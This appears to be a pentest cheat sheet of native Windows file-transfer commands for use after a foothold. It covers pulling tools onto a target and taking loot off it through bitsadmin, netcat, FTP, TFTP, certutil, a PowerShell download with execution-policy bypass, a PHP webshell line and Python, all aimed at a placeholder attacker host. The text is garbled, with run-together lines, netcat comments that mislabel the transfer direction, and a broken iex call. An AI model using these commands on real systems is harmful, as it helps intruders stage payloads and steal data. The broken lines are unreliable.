Common methods for transferring files to and from a Windows host during pentests.
Once you have a foothold, getting tools onto the box (and loot off it) usually comes down to whichever of these native Windows utilities isn’t blocked.
BITS (Windows 7 / Server 2008 and newer)
bitsadmin /transfer download /priority normal http://IP_ADDR/FILE C:\output\pathNetcat
# On the attacking machine, listening for the incoming file:nc -lvp PORT < infile# On the target, sending the file:nc IP_ADDR PORT > OUTFILEFTP
ftp -s:input.txt # Run FTP commands from a script file
# Interactive session:open IP_ADDR 21USER anonymouspasswordbinGET FILEbyeTFTP
tftp -i IP_ADDR get FILEcertutil
certutil -urlcache -split -f "http://IP_ADDR/FILE" FILENAMEPowerShell
Invoke-WebRequest http://IP_ADDR:PORT/FILE -OutFile C:\Windows\Temp\FILEpowershell.exe -exec bypass -Command "& {iex((New-Object System.Net.WebClient).DownloadFile('http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\FILE'))}"PHP (from a webshell)
<?php file_put_contents("/var/tmp/FILE", file_get_contents("http://IP_ADDR/FILE")); ?>Python
python -c "from urllib import urlretrieve; urlretrieve('http://IP_ADDR/FILE', 'C:\\Temp\\FILE')"



